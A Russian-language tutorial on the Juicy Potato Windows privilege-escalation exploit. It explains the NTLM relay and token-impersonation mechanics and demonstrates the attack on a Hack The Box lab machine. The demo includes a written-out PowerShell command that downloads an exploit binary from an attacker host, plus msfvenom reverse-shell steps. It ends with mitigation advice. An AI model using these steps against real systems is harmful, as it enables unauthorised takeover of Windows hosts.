В настоящее время происходит всё большая интеграция реального мира с цифровым, развивается возможность передавать большие объёмы информации через цифровые каналы. В связи с этим остро встает проблема защиты цифровых средств, проблема компьютерной безопасности. В разных системах обнаруживаются разные уязвимости, которые злоумышленники могут использовать про одну из этих уязвимостей – эксплоит Juicy Potato – будем сегодня говорить.

Введение

В статье рассмотрим эксплоит Juicy Potato. Juicy Potato – это локальный эксплоит (то есть запускаемый непосредственно в уязвимой системе), который используется для повышения привилегий в Windows до получения прав суперпользователя. Он был впервые использован итальянскими программистами Андреа Пьерини и Джузеппе Тротта.

Схема работы

Juicy Potato был сделан на основе Rotten Potato, поэтому сначала рассмотрим упрощённый принцип работы Rotten Potato.  

В Схеме реализации участвуют следующие сущности:

RPC (Remote Procedure Call) – класс технологий, позволяющих вызывать функции в другом адресном пространстве.

Localhost:6666 (порт 6666) – адрес 127.0.0.1 и порт 6666, используемые адрес и порт на локальном компьютере.

LocalSystem – локальная системная учетная запись встроенная в Windows, самая мощная учётная запись в Windows. 

Замечание: LocalSystem общается через RPC с портом 135 локально.

AcceptSecurityContext – функция, позволяющая серверному компоненту транспортного приложения устанавливать контекст безопасности между сервером и удаленным клиентом.

Замечание:

 Контекст безопасности – это пара структур данных (по одной локально хранимой структуре для каждого партнера по общению), в которых содержится разделяемая информация о состоянии процесса общения, необходимая для защиты пересылаемых сообщений.

на (рис.1):

  •  RPC 135 — это локальный Windows RPC слушатель. Через порт 135 локальная система общается с DCOM (Distributed Component Object Model) сервером.

Замечание: DCOM используется для поддержки связи между объектами на различных компьютерах по сети.

  • localhost:6666 - порт, с помощью которого общаемся с локальной системой(man-in-the-middle), то есть ретранслируем и изменяем пакеты между системой и с портом 135.

  • LocalSystem - локальная учетная запись.

  • AcceptSecurityContext - функция, вызываемая нами на локальной компьютере.

  • NT AUTHORITY\SYSTEM - токен учетной записи LocalSystem, который идентифицирует учетную запись как суперпользователь.

    Рис. 1: схема работы эксплоита Rotten Potato.
    Рис. 1: схема работы эксплоита Rotten Potato.

На схеме видно (рис. 1), что последовательность работы включает следующие шаги:

  •  (1.) С помощью API CoGetInstanceFromIStorage делаем запрос на получение экземпляра объекта BITS (Background Intelligent Transfer Service или Фоновая интеллектуальная служба передачи, которая используется для передачи файлов между клиентом и HTTP-сервером, например, Windows Update и Windows Defender используют BITS), и мы хотим загрузить его с адреса 127.0.0.1 на порту 6666(Rotten Potato), то есть делаем запрос на аутентификацию.[1]

Замечание: так как мы хотим экземпляр объекта BITS, нам необходимо указать CLSID (Class Identifier) – 128-разрядное число, которое идентифицирует класс COM (Component Object Model) объекта, в нашем случае CLSID, который идентифицирует BITS.

  • (2.) LocalSystem нам отправляет NTLM Negotiate на порт 6666 (порт, через который Rotten Potato работает в локальной системе).

  • (3.)Переселаем получивший нами пакет на порте 6666 от LocalSystem через RPC на порт 135  и одновременно (3*.) вызывает функцию AcceptSecurityContext, чтобы заставить систему нас аунтентифицировать.

  • (4. и 5.) RPC и AcceptSecurityContext отвечают с NTLM Challenge (для аутентификации клиента), в пакете от RPC (6.) заменяем поле Reserved на Reserved из NTLM Challenge из AcceptSecurityContext, чтобы аутентифицировали нас, а не порт RPC, и отправляем в LocalSystem.

  • (7.) LocalSystem получив NTLM Challenge с правильнами параметрами отвечает пакетом NLTM Auth, то есть аунтентифицирует нас. (8.) вызываем AcceptSecurityContext и как аргумент передаем NLTM Auth, чтобы получить доступ суперпользователя. (9.) Таким образом, мы получаем права суперпользователя. 

Но Rotten Potato только работает на порте 6666 и при условии активированной службы BITS (Background Intelligent Transfer Service или Фоновая интеллектуальная служба передачи, которая используется для передачи файлов между клиентом и HTTP-сервером, например, Windows Update и Windows Defender используют BITS). Но если порт был занят или BITS не активирован, то Rotten Potato не работает. Поэтому Андреа Пьерини и Джузеппе Тротта модифицировали известный эксплоит Rotten Potato, получив Juicy Potato.

Juicy Potato работает примерно так же, но не ограничен работой на порте 6666, при его использовании могут быть использованы любой порт и любой CLSID, например, соответствующие другим COM серверам, а не только соответствующие BITS как в Rotten Potato.

Условия работы и Привилегии

Для правильной работы Juicy Potato можем использовать привилегии SeImpersonatePrivilege или SeAssignPrimaryTokenPrivilege для повышения локальных привилегий до суперпользователя [2]. Если в машине запущены IIS (Internet Information Services, до версии 5.1 — Internet Information Server) или Microsoft SQL Server, то данные привилегии будут включены по умолчанию.

Эти привилегии были доступны в версиях с Windows 2000 SP4 по Windows 10 1809 & Windows Server 2016.

IIS — это программные услуги, которые поддерживают создание, настройку и управление веб-сайтами, а также другие функции Интернета. Информационные службы Интернета включают протокол передачи сетевых новостей (NNTP), протокол передачи файлов (FTP) и простой протокол передачи почты (SMTP).[3]

Чтобы понять эти привилегии, сначала введем некоторые понятия:

  • Impersonation или имперсонация — Это метод, при котором для подключения к ресурсу, процесс или система должны использовать не свой контекст безопасности, а учетные данные другого субъекта безопасности, то есть объект-сервер может пользоваться всеми правами и привилегиями, которыми обладает клиент. 

  • Access token или маркер доступа [4]: содержит информацию о безопасности для сеанса входа в систему. Система создаёт маркер, и каждый процесс, выполняемый от имени пользователя, имеет копию маркера. Система использует маркер как идентификатор для определения наличия доступа к объектам и возможностям пользователя выполнять различные системные операции на локальном компьютере, то есть маркер содержит информацию по безопасности сеанса и позволяет управлять доступом.

 Существуют два типа access token: primary и impersonation.

  1. Primary token, или первичный маркер, могут быть ассоциированы только с процессом и представляют собой субъект безопасности процесса, обычно создается ядром Windows.

  2. Impersonation token, или имперсонализирующие маркеры доступа, могут быть ассоциированы только с потоками и представляют собой субъекты безопасности клиентского процесса и ассоциируются с текущем потоком неявно.

Итак, 

SeImpersonatePrivilege – это право пользователя выдать себя за клиента после проверки подлинности, то есть дать свои данные контекста безопасности другой учетной записи, чтобы она выполнила действия от лица данного пользователя. Возможно получить привилегию из службы Windows (DCOM), заставляя его выполнить NTLM (Windows Challenge/Response) аутентификацию, а потом запустить процесс как суперпользователь.[5]

SeAssignPrimaryTokenPrivilege позволяет осуществлять замену маркера уровня процессов. То есть с ним можно инициировать процесс для замены маркера по умолчанию, связанного с запущенным подпроцессом.[5]

Для того чтобы атака была успешна, необходимо, чтобы в системе были активированы привилегии SeImpersonatePrivilege или SeAssignPrimaryTokenPrivilege и COM server (Component Object Model) с его CLSID. В ссылке можете найти CLSID для различных версий Windows и COM серверов  http://ohpe.it/juicy-potato/CLSID/ .[2]

Демонстрация

Изучив принцип работы эксплоита, рассмотрим его работу на практике. Для демонстрации будем использовать виртуальную машину Jeeves machine из hackthebox.eu, используемая для обучения тестирования на проникновение, в которой ОС Windows. Не будем рассматривать как получить пользовательский доступ.

В качестве взламываемой машины будем использовать Jeeves machine, в качестве рабочей будем использовать виртуальную машину на операционной системе ParrotOS. Для передачи файлов между этими машинами используем компонент Windows SMB. В качестве JuicyPotato будем использовать JuicyPotato.exe написанный Андреа Пьерини и Джузеппе Тротта, его можно найти по ссылке [2]. В качестве Bash-скрипт, для создания Reverse-shell и прослушивания канала, будем использовать msfvenom.

Замечание: msfvenom - инструмент для создания полезной нагрузки (вредосного файла).

После проведения атаки на тестовой машине Jeeves мы получили пользовательский доступ.

Рис. 2: вывод команды whoami /priv.
Рис. 2: вывод команды whoami /priv.

на скриншоте (рис. 2) можно увидеть, чтo SeImpersonatePrivilege и SeAssignPrimaryTokenPrivilege

активированы, значит наш эксплоит отлично работает.

После того, как получили доступ к машине, c помощью smb загружаем файлы JuicyPotato.exe и наш файл .bat с рабочей машины на тестовую. 

Если smb не работает, можем включить данный компонент с помощью команды:

$ powershell “IEX(New-Object      Net.WebClient).downloadFile(‘http://IP:port/JuicyPotato.exe’)”  -bypass executionpolicy

Рис. 3: слушаем reverse_shell на порту 7777.
Рис. 3: слушаем reverse_shell на порту 7777.

Файл file.bat сделаем с помощью msfvenom

Рис. 4: Команда создания файла file.bat.
Рис. 4: Команда создания файла file.bat.

На следующей картинке можем увидеть опции для запуска Juicy Potato:

Рис. 5: опции для запуска Juicy Potato.
Рис. 5: опции для запуска Juicy Potato.

И запустим Juicy Potato.

Если хотим поменять CLSID, достаточно в конце добавить -c {CLSID} в команде:

Рис. 6: Запуск Juicy Potato.
Рис. 6: Запуск Juicy Potato.

 Так мы получили права суперпользователя на порту 7777 (тот же порт что, сделали для reverse shell).

 Рис. 7: Получение доступа.
 Рис. 7: Получение доступа.

Заключение

Таким образом, изучив принцип работы Juicy Potato и его применение на практике, можно использовать эти знания для защиты от этого эксплоита. Для того, чтобы обезопасить систему от Rotten Potato, во времена его активного применения закрывали порт TCP 135 поскольку, согласно отчету “Анализ защищённости корпоративных систем в 2017 году” от Kaspersky Security[6], эта уязвимость Windows была одной из самых используемых для повышения привилегий в системе. Для Juicy Potato этот вариант защиты уже не работает: злоумышленник может выбирать другой порт, поэтому нам остается либо выключить поддержку DCOM Services  в Windows, либо обновить нашу версию Windows до  Windows 10 1806, а в случае сервера до Windows server 2019.

Список литературы

[1]https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/

[2]https://github.com/ohpe/juicy-potato

[3]https://ru.wikipedia.org/wiki/Internet_Information_Services

[4]https://ru.wikipedia.org/wiki/%D0%9C%D0%B0%D1%80%D0%BA%D0%B5%D1%80_%D0%B4%D0%BE%D1%81%D1%82%D1%83%D0%BF%D0%B0

[5]https://docs.microsoft.com/ru-ru/windows/security/threat-protection/auditing/event-4672

[6] https://media.kasperskycontenthub.com/wp-content/uploads/sites/58/2018/08/16123219/Security_assessment_of_corporate_information_systems_2017_RU_web-1.pdf

Комментарии (0)